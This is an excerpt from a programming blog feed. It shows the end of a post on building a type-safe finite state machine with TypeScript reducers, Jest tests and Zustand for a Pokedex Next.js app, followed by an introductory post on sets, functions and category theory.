<span class="hljs-keyword">type</span> GetHit = TaggedAction&lt;<span class="hljs-string">"GetHit"</span>&gt; &amp; {
    dmgAmount: <span class="hljs-built_in">number</span>, 
    canBeBlocked: <span class="hljs-built_in">boolean</span>
}
<span class="hljs-keyword">type</span> LoosePlayer = TaggedAction&lt;<span class="hljs-string">"LoosePlayer"</span>&gt;


<span class="hljs-keyword">type</span> Action = SeePlayer | GetHit | LoosePlayer
</code></pre>
<h3 id="heading-transition-function">Transition function</h3>
<p>Each action is a rule that takes you from one state to another, if you are in a valid state:</p>
<ul>
<li>SeePlayer:  Wander -&gt; Attack</li>
<li>GetHit: Attack -&gt; RunAway, Wander -&gt; RunAway</li>
<li>LoosePlayer: RunAway -&gt; Wander</li>
</ul>
<p>For example. Sending the action "LoosePlayer" when the NPC is in the "Wander" state doesn't make sense and should be ignored. The time and effort we spent thinking about Types will pay off when we make it so that it is impossible to get any weird runtime error because of some invalid action!</p>
<p>We can create a function with this signature:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Reducer = <span class="hljs-function">(<span class="hljs-params">a: Action, s: State</span>) =&gt;</span> State
</code></pre>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> reducer:Reducer = <span class="hljs-function">(<span class="hljs-params">action, state</span>) =&gt;</span> {
    <span class="hljs-keyword">switch</span> (state.tag) {
        <span class="hljs-keyword">case</span> <span class="hljs-string">"Wander"</span>:
            <span class="hljs-keyword">return</span> reduceWander(action, state)
        <span class="hljs-keyword">case</span> <span class="hljs-string">"Attack"</span>:
            <span class="hljs-keyword">return</span> reduceAttack(action, state)
        <span class="hljs-keyword">case</span> <span class="hljs-string">"RunAway"</span>:
            <span class="hljs-keyword">return</span> reduceRunAway(action, state)
        <span class="hljs-keyword">default</span>:
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">TypeError</span> (<span class="hljs-string">"Nope, you can't do that!"</span>)
    }
}
</code></pre>
<p>We cannot have an invalid state. We can then handle the actions state-wise:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> {Wander, Attack, RunAway} <span class="hljs-keyword">from</span> <span class="hljs-string">"./states.ts"</span>


<span class="hljs-keyword">const</span> reduceWander = <span class="hljs-function">(<span class="hljs-params">action, state</span>) =&gt;</span> {
    <span class="hljs-keyword">switch</span>(action.tag) {
        <span class="hljs-keyword">case</span> <span class="hljs-string">"SeePlayer"</span> :
            ... <span class="hljs-comment">// Logic for handling the resulting state</span>
            <span class="hljs-keyword">return</span> &lt;Attack&gt;{...} <span class="hljs-comment">// Whatever extra info we want to add</span>
        <span class="hljs-keyword">case</span> <span class="hljs-string">"GetHit"</span> :
            ...
            <span class="hljs-keyword">return</span> &lt;RunAway&gt;{...}
        <span class="hljs-keyword">default</span>: 
            <span class="hljs-keyword">return</span> state <span class="hljs-comment">// Ignore invalid actions</span>
    }
}

<span class="hljs-keyword">const</span> reduceAttack = <span class="hljs-function">(<span class="hljs-params">action, state</span>) =&gt;</span> {
    <span class="hljs-keyword">switch</span> (action.tag) {
        <span class="hljs-keyword">case</span> <span class="hljs-string">"GetHit"</span> :
            ...
            <span class="hljs-keyword">return</span> &lt;RunAway&gt;{...}
        <span class="hljs-keyword">default</span> :
            <span class="hljs-keyword">return</span> state
    }
}

<span class="hljs-keyword">const</span> reduceRunAway = <span class="hljs-function">(<span class="hljs-params">action, state</span>) =&gt;</span> {
    <span class="hljs-keyword">switch</span> (action.tag) {
        <span class="hljs-keyword">case</span> <span class="hljs-string">"LoosePlayer"</span> :
            ...
            <span class="hljs-keyword">return</span> &lt;Wander&gt;{...}
        <span class="hljs-keyword">default</span>:
            <span class="hljs-keyword">return</span> state
    }
}
</code></pre>
<p>Now the behaviour of the state machine cannot recieve invalid actions, nor can it have invalid transitions. </p>
<p>In other parts of the code we can "dispatch" actions to the reducer, to change the state of the NPC. There may be some issues that arise then, but not because of the state machine.</p>
<p>The reducer gives us guarantees that invalid transitions cannot happen.</p>
<p>To use the machine, you just need to initialize a <code>State</code> and have whatever function will send inputs dispatch an <code>Action</code> to the reducer, along with the current state.</p>
<hr />
<p>Does it seem familiar? Of course! Because it is just our good friend, the finite automata's transition function:</p>
<p>$$
\delta: A\times S \rightarrow S 
$$</p>
<p>The input set \(A\) and state set \(S\) sets are the <code>Action</code> and <code>State</code> types we were careful to define with tagged union types.</p>
<p>Then the <code>reducer</code> function is the state transition function \(\delta\). Which internally just asks about the input <code>s</code> and checks if given <code>s</code>, the action <code>a</code> does anything. If not, it does nothing. </p>
<p>If you pass an invalid state, it won't break. It just won't compile. An invalid action will do nothing.</p>
<p>So, we ended up coding the mathematical definition of the finite automata! </p>
<p>There's your proof of correctness! </p>
<h1 id="heading-building-the-pokedex-transition-fsm-in-a-nextjs-app">Building the PokeDex transition FSM in a Next.js app</h1>
<p>If you are still thinking that this is just an overcomplicated way to use the redux pattern... Yes, yes it is. But I am learning a lot by writing this. And I hope you can share some of the learniness with me!</p>
<p>But also, no. I am using Next.js so I don't need redux for handling state while data fetching. I will make use of Next's own means of fetching. So that leaves me with the question of how to handle states.</p>
<p>One of my priorities with this app is having a seamless experience. I want to minimize the chances of weird or unintended behaviour. And having a purpose built state machine will allow me to provide some assurances of correctness. </p>
<p>The way we will implement it will make sure that we cannot break it. Even if we try. And going through the effort of using types will make sure that only the intended behaviour can happen. Because any non-intended behaviour will yield a compiler error!</p>
<h2 id="heading-defining-types-for-states-and-actions">Defining types for States and Actions</h2>
<p>First, lets code the types for the states of the FSM diagram we had in the previous post:</p>
<pre><code class="lang-TypeScript"><span class="hljs-keyword">type</span> TaggedState&lt;S <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = { tag: S } &amp; StateInfo;

<span class="hljs-keyword">type</span> StateInfo = {
    mapId: <span class="hljs-built_in">number</span> | <span class="hljs-literal">null</span>,
    pkmId: <span class="hljs-built_in">number</span> | <span class="hljs-literal">null</span>,
    sectionId: <span class="hljs-built_in">number</span> | <span class="hljs-literal">null</span>,
}

<span class="hljs-comment">// States</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> Search = TaggedState&lt;<span class="hljs-string">"Search"</span>&gt;
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> MapToSearch = TaggedState&lt;<span class="hljs-string">"MapToSearch"</span>&gt;
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> MapScreen = TaggedState&lt;<span class="hljs-string">"MapScreen"</span>&gt; 
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> PkmInfoScreen = TaggedState&lt;<span class="hljs-string">"PkmInfoScreen"</span>&gt;
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> PkmInfoToSearch = TaggedState&lt;<span class="hljs-string">"PkmInfoToSearch"</span>&gt;
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> MapSectionScreen = TaggedState&lt;<span class="hljs-string">"MapSectionScreen"</span>&gt;

<span class="hljs-comment">// State type</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> State =
    | Search
    | MapToSearch
    | MapScreen
    | PkmInfoScreen
    | PkmInfoToSearch
    | MapSectionScreen;
</code></pre>
<p>I also attached some extra information to each state. This way, a component that needs to know about the <code>PkmInfoScreen</code> state knows which pokemon to fetch from the API.</p>
<p>We will do the same for the actions.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> TaggedAction&lt;A <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = { tag: A };

<span class="hljs-comment">// Actions</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> InputSearch = TaggedAction&lt;<span class="hljs-string">"InputSearch"</span>&gt;;
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> ClickPkm = TaggedAction&lt;<span class="hljs-string">"ClickPkm"</span>&gt; &amp; { pkmId: <span class="hljs-built_in">number</span> };
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> ClickMap = TaggedAction&lt;<span class="hljs-string">"ClickMap"</span>&gt; &amp; { mapId: <span class="hljs-built_in">number</span> };
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> ClickSearch = TaggedAction&lt;<span class="hljs-string">"ClickSearch"</span>&gt;;
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> ClickSection = TaggedAction&lt;<span class="hljs-string">"ClickSection"</span>&gt; &amp; {
    mapId: <span class="hljs-built_in">number</span>;
    sectionId: <span class="hljs-built_in">number</span>;
};

<span class="hljs-comment">// Action type</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> Action =
| InputSearch
| ClickPkm
| ClickMap
| ClickSearch
| ClickSection;
</code></pre>
<h2 id="heading-using-a-test-driven-development-approach-to-code-the-transition-logic">Using a Test Driven Development approach to code the transition logic</h2>
<p>Before we start with the reducers, lets write some test to capture the intended behaviour of the FSM. I'm using Jest. Here I'll just share the test for one of the reducers, so you can appreciate that I am using the tests to codify the intended behaviour of the FSM. In a TDD approach of sorts.</p>
<blockquote>
<p>If you want to see how I coded the rest of the tests, check the github repo :D</p>
</blockquote>
<pre><code class="lang-typescript">describe(<span class="hljs-string">"Search State Transitions"</span>, <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">const</span> initialState: Search = {
        <span class="hljs-keyword">type</span>: <span class="hljs-string">"Search"</span>,
        pkmId: <span class="hljs-literal">null</span>,
        mapId: <span class="hljs-literal">null</span>,
        sectionId: <span class="hljs-literal">null</span>,
    };

    it(<span class="hljs-string">"action 'ClickPkm' should transition to PkmInfoScreen with pkmId"</span>, <span class="hljs-function">() =&gt;</span> {
        <span class="hljs-keyword">const</span> expectedState: PkmInfoScreen = {
            <span class="hljs-keyword">type</span>: <span class="hljs-string">"PkmInfoScreen"</span>,
            pkmId: <span class="hljs-number">1</span>,
            mapId: <span class="hljs-literal">null</span>,
            sectionId: <span class="hljs-literal">null</span>,
        };

        <span class="hljs-keyword">const</span> action: Action = {
            <span class="hljs-keyword">type</span>: <span class="hljs-string">"ClickPkm"</span>,
            pkmId: <span class="hljs-number">1</span>,
        };

        expect(fsmReducer(action, initialState)).toEqual(expectedState);
});

    it(<span class="hljs-string">"action 'ClickMap' should transition to MapScreen with mapId"</span>, <span class="hljs-function">() =&gt;</span> {
        <span class="hljs-keyword">const</span> expectedState: MapScreen = {
            <span class="hljs-keyword">type</span>: <span class="hljs-string">"MapScreen"</span>,
            pkmId: <span class="hljs-literal">null</span>,
            mapId: <span class="hljs-number">3</span>,
            sectionId: <span class="hljs-literal">null</span>,
        };

        <span class="hljs-keyword">const</span> action: ClickMap = {
            <span class="hljs-keyword">type</span>: <span class="hljs-string">"ClickMap"</span>,
            mapId: <span class="hljs-number">3</span>,
        };
        expect(fsmReducer(action, initialState)).toEqual(expectedState);

    });

    it(<span class="hljs-string">"should do nothing when given an invalid action"</span>, <span class="hljs-function">() =&gt;</span> {
        <span class="hljs-keyword">const</span> invalidAction = {
            <span class="hljs-keyword">type</span>: <span class="hljs-string">"IamInvalid"</span>,
            pkmId: <span class="hljs-string">"nope"</span>,
            nonExistentId: <span class="hljs-number">5</span>,
        };

        <span class="hljs-comment">// This test will run in JavaScript. But TypeScript will complain,</span>
        <span class="hljs-comment">// which is exatly what I want. I shouldn't be able to run this in the app</span>
        expect(fsmReducer(invalidAction, initialState))
        .toEqual(initialState);

    });

});
</code></pre>
<p>Once we fill out the tests, and write the reducers the result of running the tests should be a pass:</p>
<pre><code class="lang-terminal">jorchrl@Jorges-MacBook-Pro pokedex-next % npm run test                                                        

&gt; pokedex-next@0.1.0 test
&gt; jest

 PASS  modules/pokeFSM/Reducers.test.ts
  Search State Transitions
    ✓ action 'ClickPkm' should transition to PkmInfoScreen with pkmId (2 ms)
    ✓ action 'ClickMap' should transition to MapScreen with mapId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  MapScreen State Transitions
    ✓ action 'ClickSearch' should transition to MapToSearch (1 ms)
    ✓ action 'ClickSection' should transition to MapSectionScreen with mapId and sectionId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  MapToSearch State Transitions
    ✓ action 'InputSearch' should transition to Search (1 ms)
    ✓ action 'ClickMap' should transition to MapScreen with mapId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  PkmInfoScreen State Transitions
    ✓ action 'ClickSearch' should transition to PkmInfoToSearch (1 ms)
    ✓ action 'ClickMap' should transition to MapScreen with mapId  (2 ms)
    ✓ action 'ClickSection' should transition to MapSectionScreen with mapId and sectionId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  PkmInfoToSearch State Transitions
    ✓ action 'InputSearch' should transition to Search (1 ms)
    ✓ action 'ClickPkm' should transitio to PkmInfoScreen with pkmId (1 ms)
    ✓ action 'ClickMap' should transition to MapScreen with mapId
    ✓ action 'ClickSection' should transition to MapSectionScreen with mapId and sectionId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  MapSectionScreen State Transitions
    ✓ action 'ClickSection' should transition to MapSectionScreen with mapId and sectionId (1 ms)
    ✓ action 'ClickPkm' should transition to PkmInfoScreen with pkmId (1 ms)
    ✓ action 'ClickSearch' should transition to MapToSearch (2 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  Invalid States
    ✓ the reducer should throw a TypeError when an invalid state is passed (31 ms)

Test Suites: 1 passed, 1 total
Tests:       23 passed, 23 total
Snapshots:   0 total
Time:        1.59 s
Ran all test suites.
</code></pre>
<h2 id="heading-writing-the-reducers">Writing the Reducers</h2>
<p>The reducer function will first filter through the input state's type. And pass the input to the adequate state reducer.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">export</span> <span class="hljs-keyword">type</span> Reducer = <span class="hljs-function">(<span class="hljs-params">a: Action, s: State</span>) =&gt;</span> State;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> fsmReducer: Reducer = <span class="hljs-function">(<span class="hljs-params">action, currentState</span>) =&gt;</span> {
    <span class="hljs-keyword">switch</span> (currentState.type) {
        <span class="hljs-comment">// First, filter by state. So you cannot send actions to an invalid state.</span>
        <span class="hljs-comment">// But note that this is a pure function. So currentState is extenal.</span>
        <span class="hljs-keyword">case</span> <span class="hljs-string">"Search"</span>:
            <span class="hljs-keyword">return</span> reduceSearch(action, currentState);
        <span class="hljs-keyword">case</span> <span class="hljs-string">"MapToSearch"</span>:
            <span class="hljs-keyword">return</span> reduceMapToSearch(action, currentState);
        <span class="hljs-keyword">case</span> <span class="hljs-string">"MapScreen"</span>:
            <span class="hljs-keyword">return</span> reduceMapScreen(action, currentState);
        <span class="hljs-keyword">case</span> <span class="hljs-string">"PkmInfoScreen"</span>:
            <span class="hljs-keyword">return</span> reducePkmInfoScreen(action, currentState);
        <span class="hljs-keyword">case</span> <span class="hljs-string">"PkmInfoToSearch"</span>:
            <span class="hljs-keyword">return</span> reducePkmInfoToSearch(action, currentState);
        <span class="hljs-keyword">case</span> <span class="hljs-string">"MapSectionScreen"</span>:
            <span class="hljs-keyword">return</span> reduceMapSectionScreen(action, currentState);
        <span class="hljs-keyword">default</span>:
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">TypeError</span>(<span class="hljs-string">"You cannot pass an invalid state!"</span>);
    }
};
</code></pre>
<p>Here's how one of those looks like:</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// Each reducer handles the valid actions per state. So you cannot send an</span>
<span class="hljs-comment">// invalid action, ever. These are also pure functions.</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> reduceSearch: Reducer = <span class="hljs-function">(<span class="hljs-params">action, state</span>) =&gt;</span> {
    <span class="hljs-comment">// Filter by action type</span>
    <span class="hljs-keyword">switch</span> (action.type) {
        <span class="hljs-keyword">case</span> <span class="hljs-string">"ClickMap"</span>:
            <span class="hljs-comment">// The action carries info about the map</span>
            <span class="hljs-keyword">return</span> { ...state, <span class="hljs-keyword">type</span>: <span class="hljs-string">"MapScreen"</span>, mapId: action.mapId };
        <span class="hljs-keyword">case</span> <span class="hljs-string">"ClickPkm"</span>:
            <span class="hljs-comment">// The action carries info about the pokemon</span>
            <span class="hljs-keyword">return</span> { ...state, <span class="hljs-keyword">type</span>: <span class="hljs-string">"PkmInfoScreen"</span>, pkmId: action.pkmId };
        <span class="hljs-keyword">default</span>:
            <span class="hljs-keyword">return</span> state;
    }
};
</code></pre>
<blockquote>
<p>Check the GitHub repo to see all of them.</p>
</blockquote>
<p>Note that we are handling invalid input states by throwing a TypeError. And handling invalid action inputs, per state, by ignoring them. So we cannot trigger unexpected behaviour. TypeScript will not compile if we try. </p>
<p>Thus we cannot break this machine. &lt;- this was the whole point of this exercise.</p>
<blockquote>
<p>We can still break the app in other ways, but not the machine.</p>
</blockquote>
<h3 id="heading-no-bussines-logic-here">No bussines logic here</h3>
<p>I just want to also point out that what we have done here is intended to be detached from the actual logic that dictates <em>how</em> to decide when to change states. That logic will be implemented inside our components.</p>
<p>The whole point of doing things this way is that I can put some constrains in the business logic in a decoupled manner. We could use different apps that use the same state machine. </p>
<p>For example, I mentioned that I was considering doing a mobile version. In that case, the interaction may be different, from the point of view of the user, but I could use the same FSM. Or make some slight modifications. </p>
<p>That's no problem because I wrote it as a separate module. I coded <em>just</em> the barebones machine. Nothing else!</p>
<blockquote>
<p>In the next post I will start building the actual interface!</p>
</blockquote>
<h2 id="heading-wiring-it-up-to-the-app">Wiring it up to the app</h2>
<p>I will try out <a target="_blank" href="https://github.com/pmndrs/zustand">Zustand</a>, a unidirectional state management solution for React. It's smaller and simpler than Redux, and way less 'boilerplatey' than React's Context API.</p>
<p>The way it works is, in my opinion, extremely elegant. Your store is a hook:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> create <span class="hljs-keyword">from</span> <span class="hljs-string">'zustand'</span>
<span class="hljs-keyword">import</span> State <span class="hljs-keyword">from</span> <span class="hljs-string">"./States.ts"</span>
<span class="hljs-keyword">import</span> Action <span class="hljs-keyword">from</span> <span class="hljs-string">"./Actions.ts"</span>
<span class="hljs-keyword">import</span> {fsmReducer} <span class="hljs-keyword">from</span> <span class="hljs-string">"./Reducer.ts"</span>

<span class="hljs-comment">// Let's type our store to help avoid unexpected behavior</span>
<span class="hljs-keyword">type</span> FSMStore = State &amp; {
    <span class="hljs-comment">// syntax from Zustand's documentation</span>
    dispatch: <span class="hljs-function">(<span class="hljs-params">a: Action</span>) =&gt;</span> <span class="hljs-built_in">void</span>;
};

<span class="hljs-comment">// We define the store as a hook</span>
<span class="hljs-keyword">const</span> useStore = create&lt;FSMStore&gt;(<span class="hljs-function">(<span class="hljs-params">set</span>) =&gt;</span> ({
    <span class="hljs-keyword">type</span>: <span class="hljs-string">"Search"</span>,
    pkmId: <span class="hljs-literal">null</span>,
    mapId: <span class="hljs-literal">null</span>,
    sectionId: <span class="hljs-literal">null</span>,
    dispatch: <span class="hljs-function">(<span class="hljs-params">action: Action</span>) =&gt;</span> set(<span class="hljs-function">(<span class="hljs-params">state</span>) =&gt;</span> fsmReducer(action, state)),
}));
</code></pre>
<p>And then you just throw them into your components. No need to wrap your app in a provider:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> MyComponent = <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">const</span> fsmType = useStore(<span class="hljs-function">(<span class="hljs-params">state</span>) =&gt;</span> state.type);
    <span class="hljs-keyword">const</span> dispatch = useStore(<span class="hljs-function">(<span class="hljs-params">state</span>) =&gt;</span> state.dispatch);
    <span class="hljs-comment">// then use those values in the component's JSX</span>
    <span class="hljs-keyword">return</span> (...)
}
</code></pre>
<p>You could also create an utility action creator :</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// possible action creator, </span>
<span class="hljs-keyword">const</span> createAction = (
    <span class="hljs-keyword">type</span>: ActionTypes,
    pkmId: <span class="hljs-built_in">number</span> = <span class="hljs-number">1</span>, 
    mapId: <span class="hljs-built_in">number</span> = <span class="hljs-number">1</span>,
    sectionId: <span class="hljs-built_in">number</span> = <span class="hljs-number">1</span>,
):<span class="hljs-function"><span class="hljs-params">Action</span> =&gt;</span> {
    <span class="hljs-keyword">return</span> { <span class="hljs-keyword">type</span>: <span class="hljs-keyword">type</span>, pkmId, mapId, sectionId };
};
</code></pre>
<p>Thats it! </p>
<blockquote>
<p>But you can wrap it up in a provider if you really want. And it may be the case that you need to do so. But I don't for this use case.</p>
</blockquote>
<h2 id="heading-trying-out-the-fsm">Trying out the FSM</h2>
<p>Let's code a separate page to play around with the behaviour of the FSM. As I mentioned, doing things this way allows me to swap the business logic of the transitions, from the machine handling the transitions.</p>
<p>Here's how it looks. </p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://giphy.com/gifs/SRv0LiJHd8sTMa4330">https://giphy.com/gifs/SRv0LiJHd8sTMa4330</a></div>
<p>You can play with it by cloning the GitHub repo and running 
<code>npm run dev</code></p>
<p>and visiting <code>localhost:3000/fsm-playground</code></p>
<h1 id="heading-check-the-github-repo">Check the GitHub repo!</h1>
<p>Here it is, <a target="_blank" href="https://github.com/JorchRL/pokedex-next">pokedex-next</a></p>
<h1 id="heading-so-what">So what?</h1>
<p>One of the goals is learning. And not necessarily achieving the most simple solution. There are libraries, like <a target="_blank" href="https://github.com/Lucifier129/coproduct">coproduct</a> that would have made using union types much simpler. </p>
<p>I could have also implemented the state machine just with Zustand, but here I am using it as a quick way to wire my state machine to the app.</p>
<p>TypeScript not behaving as "proper" Haskell may seem like a disadvantage. But it doesn't take much effort to make it do (to some reasonable extent). </p>
<p>That makes me like TypeScript even more. In my opinion, JavaScript's idiosyncratic object-orientedness is much more elegant than pretty much any other language.</p>
<p>It's a tradeoff, in exchange for the flexibility of structural typing. Which is one of the really nice characteristics of both JavaScript and TypeScript. And I think it is well worth it.</p>
<p>The only thing in my wishlist is to make TypeScript much less verbose and a little bit more consistent.</p>
<h1 id="heading-epilogue">Epilogue.</h1>
<p>Hopefully this was interesting!</p>
<p>I did learn a TON. Like, an obscene amount. I hope you get to share my learniness :D</p>
<p>If you made it all the way here, consider leaving a comment or feedback. I appreciate it a lot! I am learning this stuff. So any feedback will be greatly appreciated!</p>
<p>Next post will be about using this state machine to build the interface. With TailwindCSS! So, hopefully will not be as heavy as this one :D</p>
<p>I will also be updating on Twitter with the hashtag #BuildInPublic</p>
<p>So maybe follow me on Twitter?</p>
<p><a href="https://twitter.com/jrlgs?ref_src=twsrc%5Etfw" class="twitter-follow-button">Follow @jrlgs</a></p>
]]></content:encoded></item><item><title><![CDATA[Functions?]]></title><description><![CDATA[This is a post about the basic mathematics needed to follow through category theory. When I say basic math I don't mean elementary math, mind you.
Rather, think about it as fundamental mathematical concepts that we will need as building blocks for ou...]]></description><link>https://blog.jrlgs.dev/functions</link><guid isPermaLink="true">https://blog.jrlgs.dev/functions</guid><category><![CDATA[Mathematics]]></category><category><![CDATA[Functional Programming]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Blogging]]></category><category><![CDATA[creativity]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Wed, 06 Apr 2022 21:57:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1649280783900/bs2Zf-E3R.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a post about the basic mathematics needed to follow through category theory. When I say <em>basic</em> math I don't mean <em>elementary</em> math, mind you.</p>
<p>Rather, think about it as <em>fundamental</em> mathematical concepts that we will need as building blocks for our further discussions. </p>
<p>I also have a secondary goal with this introduction. To ask you to try out <em>mathematical thinking</em>. Hopefully, by following the examples you'll get a taste of that!</p>
<p>Here's the first bit: try to approach each concept isolated by itself, in the abstract. It is very tempting to try to understand a concept by recurring to an analogy of what you already know. And while that's helpful, it also makes you run the risk of <em>defaulting</em> to just one singular mental model of the abstract idea.</p>
<p>But mathematical thinking needs you to force yourself to try and see the same abstract concept in many different places. So anchoring a concept to a particular example is counterproductive.</p>
<p>I know that considering things in the abstract is uncomfortable, at first. But it gets easier. And is a really good habit. It helps you be more creative overall. Even outside of math.</p>
<p>In this essay I will approach two common mathematical ideas, you probably are familiar with from computer science. But I will offer an <em>abstract treatment</em> of them. So I will ask you to avoid <em>defaulting</em> too much to familiar analogies.</p>
<p>I honestly believe that going through the effort is worth it. </p>
<h1 id="heading-sets">Sets</h1>
<p>You probably think of a set as a "box" or a collection of elements. But if you ask a Set Theorist what is a set? The most mathematically sound answer they may give you is just to scream in horror. </p>
<p>Mathematicians kinda avoid the question of answering <em>what</em> is a set. Instead, saying that a set is <em>a thing</em> to which some axioms we all agree should be true enough apply. That is, in as much as they want to do rigorous math with sets. </p>
<p>The word "set" is a primitive. It means nothing at all, other than the thing the axioms of set theory apply to.</p>
<h2 id="heading-so-how-can-we-talk-about-sets">So how can we talk about sets?</h2>
<p>Let's instead give a <em>description</em> of a set. Consider a proposition that consists of a predicate \(P\) which could apply to some object \(x\). For example, \(P\) could be the predicate "is round". </p>
<p>Thus \(P(x)\) is the <em>claim</em> that "x is round". Which may be true or false. A proposition may be proven true or proven false.</p>
<p>The <em>set</em> \(S\) of all round objects could be built like this:
$$
S = \{ \; x \; | \; P(x) \; \}
$$
Which can be read as "S is the set that contains x, such that x is round"</p>
<p>That way of "building" a set is called <em>set-builder</em> notation.</p>
<p>So we could say that sets have the particular characteristic of being completely defined by their elements. But if we accept such a claim as is, we get into problems. </p>
<blockquote>
<p><strong>Russel's paradox:</strong> Think of the set \(R\) that contains all sets that don't contain themselves. If it does not contain itself, we are forced to accept that it contains itself. But if that is the case, we are forced to accept that it cannot contain itself!</p>
</blockquote>
<p>We can put the same paradox in natural language.</p>
<blockquote>
<p>The Barber's paradox. There's just one barber in town, which shaves everyone that doesn't shave themselves. Who shaves the barber? If he shaves himself, then he couldn't be shaved by the barber. But if that's the case, then the barber should shave himself!</p>
</blockquote>
<p>So let's add another descriptor. Sets are <em>distinct</em> from their elements. If anything, just to avoid Russel's paradox. We could also say that the "set of all sets" cannot exist.</p>
<p>There is not much else we can say about sets without getting into the muddy waters of meta-mathematics.</p>
<h1 id="heading-functions">Functions</h1>
<h2 id="heading-how-can-we-talk-about-functions">How can we talk about functions?</h2>
<p>Let's continue the trend of "describing", by saying that a function is a <em>mathematical entity</em> which has certain properties.</p>
<ol>
<li>It has a <em>domain</em> and a <em>codomain</em>. Each of which is a set.</li>
<li>For every element \(x\) of the domain, there is an element \(f(x)\) of the codomain.</li>
<li>The function \(f\) <em>determines completely</em> the domain, codomain and all values \(f(x)\) for every \(x\) in the domain.</li>
<li>The converse of (3) is true. The collection of the domain, codomain and values of \(f(x)\) for all \(x\) in the domain completely determine the function \(f\)</li>
</ol>
<p>If you have taken either a math or computer science class, this way of describing functions may seem odd. Even archaic. But it is a <em>categorially-flavored</em> way of talking about functions.</p>
<p>In computer science, functions are usually thought of as "machines" that do stuff. They take an input and produce an output. Mathematically, they are usually described as a mapping between sets (ie. the set of inputs and the set of outputs). So functions are rules that relate one set to another.</p>
<p>Let me present a taste of the category theory approach. In a "context" or category, there can be two kinds of things. Let's just call them <em>objects</em> and <em>morphisms</em>. If \(A\) and \(B\) are objects in a category \(C\), then a morphism \(A \rightarrow B\) is just a directed arrow that relates the two objects.</p>
<p>Consider the category <strong>Set</strong> that has sets as objects and <em>functions between sets</em> as morphisms. Then if \(A\) and \(B\) are <em>sets</em>, the function \(f: A \rightarrow B\) is one such <em>morphism</em>.</p>
<p>But now consider the category <strong>Vec</strong> of vector spaces and <em>linear transformations</em> between vector spaces. So if \(A\) and \(B\) are vector spaces, \(f: A \rightarrow B\) is a morphism between vector spaces, which in this case is a particular kind of function called a linear transformation.</p>
<p>Let's get more abstract. Consider the category of <em>persons</em> and <em>A has a positive degree of separation to B</em> relations between persons. Then \(A\) and \(B\) being persons, \(f: A \rightarrow B\) means that they know each other, or they have a chain of acquaintances that link them. But that's hardly a function between sets!</p>
<p>So we can identify the same structure \(f: A \rightarrow B\) in three different contexts. And each one of them has a different meaning. But we are kinda forced to accept that there's some analogy between them!</p>
<p>Therefore (and this is the really special thing about category theory) we are kinda inclined to complain that the abstract "description" we gave of functions above is way too concrete!</p>
<p>I will not go further into that for now. As we will come back to it when we formally introduce categories. But let this serve as a provision for the kind of perspective we will have to adopt about functions.</p>
<p>Let's say that to talk coherently about a function, we <strong>must</strong> specify the rule, along with the domain and codomain. </p>
<p>Consider a <em>rule</em> that maps \(x \rightarrow x^2\). Coming form computer science one may be inclined to say that that rule is the function \(f(x)=x^2\).</p>
<p>But from this more abstract point of view we have to recognize that such rule could represent <em>at least</em> four different functions:</p>
<ol>
<li>\(x \rightarrow x^2 : \mathbb{R} \rightarrow \mathbb{R}^{+}\)</li>
<li>\(x \rightarrow x^2 : \mathbb{R} \rightarrow \mathbb{R}\)</li>
<li>\(x \rightarrow x^2 : \mathbb{R}^{+} \rightarrow \mathbb{R}^{+}\)</li>
<li>\(x \rightarrow x^2 : \mathbb{R}^{+} \rightarrow \mathbb{R}\)</li>
</ol>
<p>In fact, we can build an infinite number of functions!</p>
<blockquote>
<p>Please note that even some mathematicians would probably say that this requirement is way too abstract. But we are interested in category theory here, where we need this point of view.</p>
</blockquote>
<h2 id="heading-anonymous-functions">Anonymous functions</h2>
<p>By the way, the notation for the rule \(x \rightarrow x^2\) is an anonymous function. The same kind that functional programmers use. Here it is in javascript:</p>
<pre><code class="lang-typescript">(x) =&gt; x*x
</code></pre>
<p>Logicians also have a different notation. In lambda calculus:
$$
\lambda x.x^2
$$
Which is a mathematical model of computation. When you write that beautiful functional TypeScript you are <em>expressing</em> a computation like that.</p>
